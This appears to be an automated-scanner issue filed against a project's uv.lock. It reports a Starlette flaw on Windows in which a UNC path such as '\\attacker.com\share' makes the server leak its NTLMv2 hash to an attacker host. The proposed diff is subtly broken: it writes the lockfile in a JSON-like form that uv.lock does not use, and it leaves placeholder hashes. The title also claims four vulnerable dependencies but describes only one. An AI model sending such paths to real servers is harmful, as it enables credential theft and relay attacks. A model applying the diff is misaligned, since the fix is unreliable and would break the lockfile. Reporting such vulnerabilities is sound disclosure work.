Possible fix(deps): 4 vulnerable dependencies in uv.lock

I think there may be a problem in `agent-core/uv.lock` around line 1.

Starlette 1.0.0 (and 1.0.1) allows StaticFiles on Windows to resolve UNC paths. An attacker can supply a path like \\attacker.com\share, causing os.path.realpath to initiate an outbound SMB connection. The service account’s NTLMv2 hash is exposed, enabling offline cracking or relay attacks, even though the client receives a 404. This SSRF‑related credential leak is classified as HIGH severity because it can lead to privilege escalation or lateral movement. Upgrade to Starlette 1.1.0, which disables the unsafe UNC resolution.

Something like this might fix it:

````diff
```diff
--- a/agent-core/uv.lock
+++ b/agent-core/uv.lock
@@
- "starlette": {
- "version": "1.0.0",
- "hashes": [
- "sha256:..."
- ],
- "extras": []
- },
+ "starlette": {
+ "version": "1.1.0",
+ "hashes": [
+ "sha256:..." # update to the hash of the 1.1.0 package
+ ],
+ "extras": []
+ },
```
````

For reference: rule `CVE-2026-48818`. Rated high.

I do not maintain this project, so I may well be missing context — if this is intentional or already handled elsewhere, please just close it.

---
*Found with automated scanning ([RedGem](https://code.redgem.net)) and reviewed before opening. If it is not useful, closing it is completely fine.*